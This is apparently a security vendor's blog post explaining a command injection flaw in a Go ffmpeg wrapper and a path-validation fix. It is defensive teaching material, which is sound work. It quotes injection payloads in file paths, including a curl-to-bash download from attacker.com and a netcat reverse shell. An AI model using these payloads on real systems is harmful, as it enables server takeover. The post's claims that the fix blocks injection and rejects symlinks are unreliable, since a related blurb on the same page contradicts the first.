Back to Blog
critical SEVERITY9 min read

How command injection happens in Go ffmpeg wrappers and how to fix it

A critical command injection vulnerability was discovered in `drivers/local/util.go` where user-influenced file paths were passed directly to `ffmpeg.Input()` without any sanitization. Because many ffmpeg wrapper libraries construct shell command strings under the hood, an attacker could embed shell metacharacters in a file path to execute arbitrary OS commands with server-level privileges. The fix introduces a `sanitizeFilePath()` function that validates paths are absolute, clean, and point to

O
By Orbis AppSec
Published June 6, 2026Reviewed June 6, 2026

Answer Summary

This is a critical OS command injection vulnerability (CWE-78) in Go, found in `drivers/local/util.go` at lines 72 and 168. User-controlled file paths (`inputFile` and `videoPath`) were passed directly to `ffmpeg.Input()` without sanitization, allowing shell metacharacters in file names to execute arbitrary OS commands. The fix adds a `sanitizeFilePath()` function that enforces absolute paths, applies `filepath.Clean()`, and verifies the target is a real regular file before passing it to the ffmpeg wrapper.

Vulnerability at a Glance

cweCWE-78
fixAdded sanitizeFilePath() to enforce absolute, cleaned, regular-file paths before ffmpeg invocation
riskArbitrary OS command execution with server process privileges
languageGo
root causeUser-controlled file paths passed directly to ffmpeg.Input() without validation or sanitization
vulnerabilityOS Command Injection via unsanitized file path

How command injection happens in Go ffmpeg wrappers and how to fix it

Summary

A critical command injection vulnerability was discovered in drivers/local/util.go where user-influenced file paths were passed directly to ffmpeg.Input() without any sanitization. Because many ffmpeg wrapper libraries construct shell command strings under the hood, an attacker could embed shell metacharacters in a file path to execute arbitrary OS commands with server-level privileges. The fix introduces a sanitizeFilePath() function that validates paths are absolute, clean, and point to real regular files before they ever reach the ffmpeg invocation.


Introduction

The drivers/local/util.go file handles media processing tasks — resizing images and generating video snapshots — using a Go ffmpeg wrapper library. At first glance, passing a file path to ffmpeg.Input() looks harmless. It's just a string, right? But a flaw in both resizeImageToBufferWithFFmpegGo() and GetSnapshot() created a critical attack surface: user-influenced paths like inputFile and videoPath were forwarded directly to the ffmpeg wrapper with zero validation.

This matters to any Go developer using ffmpeg wrapper libraries, because the danger is subtle. You're not calling exec.Command() yourself — the library does it for you. And if that library constructs a shell string internally (which is common in ffmpeg wrappers that invoke the ffmpeg binary), then shell metacharacters in a file name become executable commands.


The Vulnerability Explained

What went wrong

At lines 72 and 168 of drivers/local/util.go, two functions accepted file path strings and passed them directly to ffmpeg.Input():

// VULNERABLE — before the fix
func resizeImageToBufferWithFFmpegGo(inputFile string, width int, outputFormat string) (*bytes.Buffer, error) {
    // ... no validation of inputFile ...
    err := ffmpeg.Input(inputFile).
        Output("pipe:", outputArgs).
        GlobalArgs("-loglevel", "error").
        Silent(true).
        Run()
}

And similarly in GetSnapshot():

// VULNERABLE — before the fix
func (d *Local) GetSnapshot(videoPath string) (*bytes.Buffer, error) {
    // videoPath passed directly to ffmpeg.Input() at line 168
}

The inputFile and videoPath variables are user-influenced — they originate from file system paths that can be shaped by user input (file uploads, API parameters, or path-derived values). Neither function performed any check on whether the path was absolute, clean, or free of special characters.

Why ffmpeg wrappers are dangerous with raw input

Many Go ffmpeg wrapper libraries (including ffmpeg-go) work by constructing a command-line invocation of the ffmpeg binary and running it via exec. When the library builds that command string, a file path like:

/uploads/video.mp4

becomes something internally like:

ffmpeg -i /uploads/video.mp4 ...

But what if the path is:

/uploads/video.mp4; curl http://attacker.com/shell.sh | bash

If the library passes this through a shell (e.g., via /bin/sh -c "ffmpeg -i /uploads/video.mp4; curl ..."), the semicolon terminates the ffmpeg command and the second command executes. The result: arbitrary OS command execution with the privileges of the server process.

A concrete attack scenario

Imagine this application exposes a video thumbnail endpoint. An attacker crafts a request where the video path resolves to:

/var/app/uploads/$(whoami > /tmp/pwned).mp4

or uses a newline/semicolon injection:

/var/app/uploads/legit.mp4\n/bin/bash -c 'nc attacker.com 4444 -e /bin/bash'

When GetSnapshot() receives this path and passes it to ffmpeg.Input() without sanitization, the embedded command runs on the server. Since media processing services often run with elevated privileges (to access the filesystem broadly), this could mean full server compromise — reading database credentials, exfiltrating user data, or establishing a persistent backdoor.

The real-world impact here is severe: any attacker who can influence the file path argument to these two functions can execute arbitrary commands on the server.


The Fix

The new sanitizeFilePath() function

The fix introduces a dedicated validation function added just before resizeImageToBufferWithFFmpegGo() in util.go:

// sanitizeFilePath validates and sanitizes a file path before passing it to external commands.
// It ensures the path is absolute, clean, and refers to an existing regular file,
// preventing path traversal and command injection via shell metacharacters.
func sanitizeFilePath(path string) (string, error) {
    cleaned := filepath.Clean(path)
    if !filepath.IsAbs(cleaned) {
        return "", fmt.Errorf("file path must be absolute: %s", path)
    }
    info, err := os.Stat(cleaned)
    if err != nil {
        return "", fmt.Errorf("file path is not accessible: %w", err)
    }
    if !info.Mode().IsRegular() {
        return "", fmt.Errorf("path is not a regular file: %s", cleaned)
    }
    return cleaned, nil
}

This function does three things in sequence:

  1. filepath.Clean(path) — Resolves ., .., double slashes, and other path anomalies. This eliminates path traversal tricks like /uploads/../../etc/passwd.
  2. filepath.IsAbs(cleaned) — Rejects any relative path. Relative paths are harder to reason about and easier to manipulate.
  3. os.Stat(cleaned) + info.Mode().IsRegular() — Verifies the path actually exists on disk and is a regular file (not a symlink, device file, named pipe, or directory). This prevents attacks using special file types.

Before and after

Before (vulnerable):

func resizeImageToBufferWithFFmpegGo(inputFile string, width int, outputFormat string) (*bytes.Buffer, error) {
    outBuffer := bytes.NewBuffer(nil)
    // inputFile flows directly to ffmpeg with no checks
    err := ffmpeg.Input(inputFile).
        Output("pipe:", outputArgs).
        GlobalArgs("-loglevel", "error").
        Silent(true).
        Run()

After (fixed):

func resizeImageToBufferWithFFmpegGo(inputFile string, width int, outputFormat string) (*bytes.Buffer, error) {
    sanitized, err := sanitizeFilePath(inputFile)
    if err != nil {
        return nil, fmt.Errorf("invalid input file path: %w", err)
    }
    inputFile = sanitized

    outBuffer := bytes.NewBuffer(nil)
    // inputFile is now guaranteed to be absolute, clean, and a real regular file
    err = ffmpeg.Input(inputFile).
        Output("pipe:", outputArgs).
        GlobalArgs("-loglevel", "error").
        Silent(true).
        Run()

Notice also the subtle fix to the err variable: the original code declared err := inside the function (after outBuffer was created), but after the fix, sanitized, err := is declared first and the ffmpeg call uses err = (assignment, not declaration) to avoid shadowing. This is a clean, idiomatic Go change.

Why this specific fix works

Shell metacharacters like ;, |, $(), backticks, newlines, and null bytes cannot survive this validation intact in a way that would cause harm. A path containing ; rm -rf / would fail filepath.IsAbs() or os.Stat() because the resulting "cleaned" path won't exist as a real file on disk. A path containing $(command) would similarly fail the os.Stat() check. The validation acts as a gate: only paths that correspond to actual, existing, regular files on disk are allowed through.


Prevention & Best Practices

1. Always sanitize before passing paths to external process wrappers

Any time user-influenced data flows into a library that internally invokes system commands, treat it as untrusted input. Apply the same rigor you would to SQL parameters or shell arguments.

2. Prefer argument-array APIs over shell-string APIs

If you have a choice between a library that builds a shell string and one that passes arguments as a []string slice to exec.Command directly, choose the latter. Shell interpretation is where injection happens.

3. Use filepath.Clean() and filepath.IsAbs() together

Neither alone is sufficient. filepath.Clean() without filepath.IsAbs() still allows relative paths. filepath.IsAbs() without filepath.Clean() still allows .. traversal in the middle of an absolute path.

4. Validate that the file exists and is the right type

os.Stat() + info.Mode().IsRegular() is a simple, effective check that eliminates symlink attacks, device file attacks, and FIFO-based injection vectors.

5. Apply allowlist-based path restrictions where possible

If your application only processes files from a specific upload directory, add a check that the cleaned absolute path has the expected prefix:

if !strings.HasPrefix(cleaned, "/var/app/uploads/") {
    return "", fmt.Errorf("path outside allowed directory: %s", cleaned)
}

6. Relevant standards


Key Takeaways

  • Never pass user-influenced file paths to ffmpeg.Input() (or any process wrapper) without first calling sanitizeFilePath() — the wrapper may construct a shell string internally, making your path argument a command injection vector.
  • filepath.Clean() alone is not enough — you must also verify the path is absolute (filepath.IsAbs()) and that it refers to a real, regular file (os.Stat() + IsRegular()), or attackers can still exploit relative paths and special file types.
  • Both resizeImageToBufferWithFFmpegGo() and GetSnapshot() were affected — when a validation gap exists, it tends to exist in every function that shares the same pattern; audit all call sites, not just the one flagged.
  • The Go err variable shadowing was also quietly fixed — the original err := declaration inside the function body would have caused a compile error after adding the sanitization block; the fix correctly restructures variable declarations.
  • Media processing pipelines are a high-value injection target — they routinely handle user-supplied filenames, invoke system binaries, and run with broad filesystem access, making them a priority for input validation hardening.

How Orbis AppSec Detected This

  • Source: User-influenced file path values (inputFile in resizeImageToBufferWithFFmpegGo() and videoPath in GetSnapshot()) originating from caller-supplied arguments that trace back to user-controlled input.
  • Sink: ffmpeg.Input(inputFile) at drivers/local/util.go:72 and ffmpeg.Input(videoPath) at line 168 — a go-ffmpeg wrapper call that internally constructs and executes a shell command using the provided path string.
  • Missing control: No path sanitization, no absolute-path enforcement, no existence check, and no regular-file type verification before the value reached the ffmpeg invocation.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: A new sanitizeFilePath() function was introduced that applies filepath.Clean(), enforces absolute paths with filepath.IsAbs(), and verifies file existence and type with os.Stat() before any path reaches ffmpeg.Input().

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

Command injection through file paths is one of those vulnerabilities that hides in plain sight. The code in drivers/local/util.go wasn't doing anything obviously wrong — it was just passing a string to a library function. But that library function invokes a system binary, and that binary invocation can be hijacked by shell metacharacters in the string. The lesson is clear: any boundary between your Go code and an external process is a potential injection point, and every path crossing that boundary needs validation.

The sanitizeFilePath() function added in this fix is a reusable, idiomatic Go pattern that every media processing service should adopt. It's small (under 15 lines), easy to understand, and provides defense-in-depth against both command injection and path traversal in a single pass. If your codebase uses ffmpeg wrappers, video transcoding libraries, or any other tool that shells out with user-supplied paths, audit those call sites today.


References

Frequently Asked Questions

What is OS command injection?

OS command injection (CWE-78) occurs when user-controlled input is incorporated into a system command without proper sanitization, allowing attackers to append or inject shell metacharacters that cause the system to execute unintended commands.

How do you prevent command injection in Go?

Always validate and sanitize file paths before passing them to external process wrappers. Use filepath.Clean() and filepath.IsAbs(), verify the file exists and is a regular file with os.Stat(), and prefer APIs that accept argument arrays rather than shell strings.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is escaping shell metacharacters enough to prevent command injection?

No. Escaping is error-prone and library-dependent. The safer approach is strict path validation (absolute path, clean path, real regular file) combined with libraries that pass arguments as arrays rather than shell strings, eliminating the shell interpretation layer entirely.

Can static analysis detect command injection in Go?

Yes. Tools like Semgrep, gosec, and multi-agent AI scanners (like the one that found this issue) can trace tainted data from user input to dangerous sinks like exec calls or ffmpeg wrapper inputs. This vulnerability was detected automatically by the Orbis AppSec multi_agent_ai scanner.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #9485

Related Articles

critical

How shell command injection happens in Python subprocess and how to fix it

A critical shell command injection vulnerability was discovered in the radare2 build system's `meson.py` file, where `os.system()` was used with an f-string to execute git commands. An attacker who could control the `remote` variable could inject arbitrary shell commands. The fix replaces `os.system()` with `subprocess.call()` using a list of arguments, eliminating shell interpretation entirely.

critical

How command injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in `docling/models/stages/ocr/tesseract_ocr_cli_model.py`, where user-controlled inputs such as language identifiers, file paths, and the Tesseract executable path were passed directly into `subprocess.run()` calls without validation. An attacker who could influence these values — for example, by supplying a maliciously crafted document or configuration — could inject arbitrary shell arguments or commands. The fix introduces strict input

critical

How command injection happens in Go ffmpeg-go and how to fix it

A critical command injection vulnerability (CVE-2026-41179, CWE-78) was discovered in `drivers/local/util.go` of a Go media processing service, where user-controlled file paths were passed to `ffmpeg.Input()` without filtering shell metacharacters. Although a `sanitizeFilePath()` function existed to validate paths, it failed to reject characters like `;`, `|`, and backticks that could be weaponized if the underlying ffmpeg-go library constructs shell commands internally. The fix adds a targeted

critical

How command injection happens in Python os.popen() and how to fix it

A critical command injection vulnerability in `spk/itools/src/mounting.py` allowed arbitrary shell command execution through unsanitized iOS device names passed to `os.popen()` and `os.system()` calls. The fix replaced these dangerous functions with `subprocess.run()` using proper argument escaping, eliminating the shell injection attack vector.

critical

How command injection happens in Node.js subprocess and how to fix it

A critical command injection vulnerability in `tools/dev/src/index.ts` allowed attackers to execute arbitrary shell commands through unsanitized subprocess arguments. The fix was simple but essential: explicitly setting `shell: false` in the `spawn()` call to prevent shell metacharacter interpretation. This vulnerability demonstrates why subprocess handling requires explicit security controls in Node.js.

critical

How command injection happens in Python os.system() and how to fix it

A critical command injection vulnerability was discovered in `src/O4_Geotag.py` where file paths and coordinate values were concatenated directly into `os.system()` calls invoking `gdal_translate` and `gdalwarp`. Because `os.system()` passes its argument through a shell interpreter, any shell metacharacters in the file path variable `f` — sourced from file enumeration or user-supplied input — could be exploited to execute arbitrary commands. The fix replaces both shell invocations with direct ca